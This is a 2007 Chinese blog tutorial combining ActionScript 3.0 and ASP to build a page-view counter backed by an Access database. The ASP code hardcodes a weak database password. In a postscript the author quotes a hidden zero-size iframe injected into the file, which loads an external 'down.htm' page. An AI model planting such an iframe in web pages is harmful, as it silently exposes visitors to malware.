2007/01/09 | As3.0与ASP结合制作计数器
类别(ASP) | 评论(1) | 阅读(746) | 发表于 23:34

AS部分(直接写在时间轴):

var loader:URLLoader = new URLLoader();
configureListeners(loader);
var header:URLRequestHeader = new URLRequestHeader("pragma", "no-cache");
var request:URLRequest = new URLRequest("count/count.asp?randomNum="+Math.random()*1000);
//request.data =dat
request.method = URLRequestMethod.POST;
request.requestHeaders.push(header);
try {
 loader.load(request);
} catch (error:Error) {
 mess.text="目前无法读取浏览次数!"
}
function configureListeners(dispatcher:IEventDispatcher):void {
 dispatcher.addEventListener(Event.COMPLETE, completeHandler);
 dispatcher.addEventListener(Event.OPEN, openHandler);
 dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
 dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
 dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
 dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
function completeHandler(event:Event):void {
 var loader:URLLoader = URLLoader(event.target);
 trace(event.target)
 mess.text="该咨讯已被浏览"+loader.data+"次"
 }
function openHandler(event:Event):void {
 mess.text="正在读取数据..."
 }
function progressHandler(event:ProgressEvent):void {
 //mess.text="已经生成:" + event.bytesLoaded + "总计: " + event.bytesTotal
 }
function securityErrorHandler(event:SecurityErrorEvent):void {
 //mess.text=""
 }

function httpStatusHandler(event:HTTPStatusEvent):void {
 trace("httpStatusHandler: " + event);
 }

function ioErrorHandler(event:IOErrorEvent):void {
 mess.text="目前无法读取浏览次数!"
 }

ASP代码:

<%
'连接数据库
set conn = server.createobject("adodb.connection")
conn.open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("count.mdb")&";Jet OLEDB:Database Password=123"
set rs = server.createobject("adodb.recordset")
rs.open "myCount",conn,1,3
'开始查询
nowCount=rs("count")+1
rs("count")=nowCount
response.write nowCount
rs.update
set rs = nothing
set conn = nothing
%>

PS:打开ASP文件,竟然发现被注入了一段代码:

<iframe src="http://ww.viph.net/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>

NND

再PS:为什么我的模板换不掉呢?

0

评论Comments

日志分类
首页[186]
Flash[84]
FMS[41]
AIR[2]
ASP[11]
作品区[12]
其他[36]